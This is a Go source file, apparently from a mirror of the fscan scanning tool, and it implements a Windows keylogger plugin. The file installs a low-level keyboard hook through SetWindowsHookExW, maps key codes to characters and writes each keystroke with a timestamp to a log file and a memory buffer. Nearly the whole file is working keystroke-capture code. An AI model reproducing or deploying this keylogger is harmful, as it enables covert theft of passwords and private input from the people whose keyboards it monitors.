mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
337 lines
7.8 KiB
Go
337 lines
7.8 KiB
Go
// +build windows
|
||
|
||
package keylogger
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"os"
|
||
"syscall"
|
||
"time"
|
||
"unsafe"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
// Windows API 声明
|
||
var (
|
||
user32 = syscall.NewLazyDLL("user32.dll")
|
||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
|
||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||
procGetMessage = user32.NewProc("GetMessageW")
|
||
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
|
||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||
)
|
||
|
||
const (
|
||
WH_KEYBOARD_LL = 13
|
||
WM_KEYDOWN = 0x0100
|
||
WM_KEYUP = 0x0101
|
||
WM_SYSKEYDOWN = 0x0104
|
||
WM_SYSKEYUP = 0x0105
|
||
)
|
||
|
||
type (
|
||
DWORD uint32
|
||
WPARAM uintptr
|
||
LPARAM uintptr
|
||
LRESULT uintptr
|
||
HANDLE uintptr
|
||
HHOOK HANDLE
|
||
HWND HANDLE
|
||
)
|
||
|
||
type POINT struct {
|
||
X, Y int32
|
||
}
|
||
|
||
type MSG struct {
|
||
HWND HWND
|
||
Message uint32
|
||
WParam WPARAM
|
||
LParam LPARAM
|
||
Time uint32
|
||
Pt POINT
|
||
}
|
||
|
||
type KBDLLHOOKSTRUCT struct {
|
||
VkCode DWORD
|
||
ScanCode DWORD
|
||
Flags DWORD
|
||
Time DWORD
|
||
DwExtraInfo uintptr
|
||
}
|
||
|
||
// 全局变量 - 简化版本
|
||
var (
|
||
windowsHook HHOOK
|
||
keylogger *KeyloggerPlugin
|
||
logFile *os.File
|
||
eventChannel chan KeyboardEvent
|
||
stopHookChan chan bool
|
||
)
|
||
|
||
// KeyboardEvent 键盘事件结构,模仿gohook的设计
|
||
type KeyboardEvent struct {
|
||
Kind EventKind
|
||
Rawcode uint16
|
||
Keychar string
|
||
Timestamp time.Time
|
||
}
|
||
|
||
type EventKind int
|
||
|
||
const (
|
||
KeyDown EventKind = iota
|
||
KeyUp
|
||
)
|
||
|
||
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
|
||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||
common.LogInfo("启动Windows键盘记录 (高效版本)...")
|
||
|
||
keylogger = p
|
||
|
||
// 创建事件通道(模仿gohook的设计)
|
||
eventChannel = make(chan KeyboardEvent, 100)
|
||
stopHookChan = make(chan bool, 1)
|
||
|
||
// 打开日志文件进行实时写入
|
||
var err error
|
||
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||
if err != nil {
|
||
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
|
||
}
|
||
defer func() {
|
||
if logFile != nil {
|
||
logFile.Close()
|
||
logFile = nil
|
||
}
|
||
}()
|
||
|
||
// 写入文件头部
|
||
p.writeLogHeader()
|
||
|
||
// 启动Hook监听(在独立goroutine中)
|
||
go p.startKeyboardHook()
|
||
|
||
// 启动事件处理(模仿你的for ev := range evChan的模式)
|
||
return p.processEvents(ctx)
|
||
}
|
||
|
||
// startKeyboardHook 启动键盘Hook监听
|
||
func (p *KeyloggerPlugin) startKeyboardHook() {
|
||
// 安装Hook
|
||
hookProc := syscall.NewCallback(keyboardHookProc)
|
||
moduleHandle, _, _ := procGetModuleHandle.Call(0)
|
||
|
||
hook, _, _ := procSetWindowsHookEx.Call(
|
||
uintptr(WH_KEYBOARD_LL),
|
||
hookProc,
|
||
moduleHandle,
|
||
0,
|
||
)
|
||
|
||
if hook == 0 {
|
||
common.LogError("安装键盘Hook失败")
|
||
return
|
||
}
|
||
|
||
windowsHook = HHOOK(hook)
|
||
common.LogInfo("键盘Hook安装成功")
|
||
|
||
// 消息循环
|
||
msg := &MSG{}
|
||
for {
|
||
select {
|
||
case <-stopHookChan:
|
||
// 清理Hook
|
||
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
|
||
common.LogInfo("键盘Hook已清理")
|
||
return
|
||
default:
|
||
// 非阻塞消息处理
|
||
ret, _, _ := procGetMessage.Call(
|
||
uintptr(unsafe.Pointer(msg)),
|
||
0, 0, 0,
|
||
)
|
||
if ret == 0 || ret == 0xFFFFFFFF {
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// keyboardHookProc Hook回调函数 - 简化版本
|
||
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||
// 立即调用下一个Hook,确保系统响应
|
||
ret, _, _ := procCallNextHookEx.Call(
|
||
uintptr(windowsHook),
|
||
uintptr(nCode),
|
||
uintptr(wParam),
|
||
uintptr(lParam),
|
||
)
|
||
|
||
// 快速处理我们的逻辑
|
||
if nCode >= 0 && eventChannel != nil {
|
||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||
vkCode := kbdStruct.VkCode
|
||
|
||
|
||
keychar := quickKeyChar(vkCode)
|
||
if keychar != "" {
|
||
// 非阻塞发送事件
|
||
select {
|
||
case eventChannel <- KeyboardEvent{
|
||
Kind: KeyDown,
|
||
Rawcode: uint16(vkCode),
|
||
Keychar: keychar,
|
||
Timestamp: time.Now(),
|
||
}:
|
||
default:
|
||
// 通道满了就跳过,不阻塞系统
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return LRESULT(ret)
|
||
}
|
||
|
||
// processEvents 处理键盘事件 - 完全模仿你的设计
|
||
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
|
||
common.LogInfo("开始处理键盘事件...")
|
||
|
||
// 完全模仿你的for ev := range evChan模式
|
||
for {
|
||
select {
|
||
case <-ctx.Done():
|
||
common.LogInfo("收到上下文取消信号,退出键盘记录")
|
||
stopHookChan <- true
|
||
return nil
|
||
|
||
case ev := <-eventChannel:
|
||
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown)
|
||
if ev.Kind == KeyDown && ev.Keychar != "" {
|
||
// 写入文件 - 完全模仿你的实时写入模式
|
||
fmt.Fprintf(logFile, "[%s] %s\n",
|
||
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
|
||
logFile.Sync() // 模仿你的f.Sync()
|
||
|
||
// 添加到内存缓冲区用于统计
|
||
p.bufferMutex.Lock()
|
||
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
|
||
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
|
||
p.bufferMutex.Unlock()
|
||
|
||
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// writeLogHeader 写入日志文件头部
|
||
func (p *KeyloggerPlugin) writeLogHeader() {
|
||
if logFile == nil {
|
||
return
|
||
}
|
||
|
||
// 模仿你的日志格式
|
||
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||
fmt.Fprintf(logFile, "记录模式: 持续记录\n")
|
||
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
|
||
fmt.Fprintf(logFile, "================================\n\n")
|
||
logFile.Sync()
|
||
}
|
||
|
||
// quickKeyChar 快速键码转字符(简化版本)
|
||
func quickKeyChar(vkCode DWORD) string {
|
||
switch {
|
||
// 数字0-9
|
||
case vkCode >= 0x30 && vkCode <= 0x39:
|
||
return string(rune(vkCode))
|
||
|
||
// 字母A-Z (统一转小写)
|
||
case vkCode >= 0x41 && vkCode <= 0x5A:
|
||
return string(rune(vkCode + 32))
|
||
|
||
// 基本特殊字符
|
||
case vkCode == 0x20:
|
||
return " "
|
||
case vkCode == 0x0D:
|
||
return "[Enter]"
|
||
case vkCode == 0x08:
|
||
return "[Backspace]"
|
||
case vkCode == 0x09:
|
||
return "[Tab]"
|
||
case vkCode == 0x1B:
|
||
return "[Esc]"
|
||
case vkCode == 0x2E:
|
||
return "[Delete]"
|
||
|
||
// 方向键
|
||
case vkCode == 0x25:
|
||
return "[Left]"
|
||
case vkCode == 0x26:
|
||
return "[Up]"
|
||
case vkCode == 0x27:
|
||
return "[Right]"
|
||
case vkCode == 0x28:
|
||
return "[Down]"
|
||
|
||
// 特殊键 (包括左右Shift/Ctrl/Alt)
|
||
case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT
|
||
return "[Shift]"
|
||
case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL
|
||
return "[Ctrl]"
|
||
case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU
|
||
return "[Alt]"
|
||
|
||
// 基本标点符号
|
||
case vkCode == 0xBA: // ;
|
||
return ";"
|
||
case vkCode == 0xBB: // =
|
||
return "="
|
||
case vkCode == 0xBC: // ,
|
||
return ","
|
||
case vkCode == 0xBD: // -
|
||
return "-"
|
||
case vkCode == 0xBE: // .
|
||
return "."
|
||
case vkCode == 0xBF: // /
|
||
return "/"
|
||
|
||
// 功能键
|
||
case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12
|
||
return fmt.Sprintf("[F%d]", vkCode-0x6F)
|
||
|
||
default:
|
||
return "" // 跳过其他按键,保持高性能
|
||
}
|
||
}
|
||
|
||
// checkWindowsRequirements 检查Windows特定要求
|
||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||
common.LogInfo("检查Windows键盘记录权限...")
|
||
return nil
|
||
}
|
||
|
||
// 其他平台的空实现
|
||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("Linux平台请使用专门的实现")
|
||
}
|
||
|
||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||
return fmt.Errorf("Darwin平台请使用专门的实现")
|
||
}
|
||
|
||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
}
|
||
|
||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||
return fmt.Errorf("不支持的平台")
|
||
} |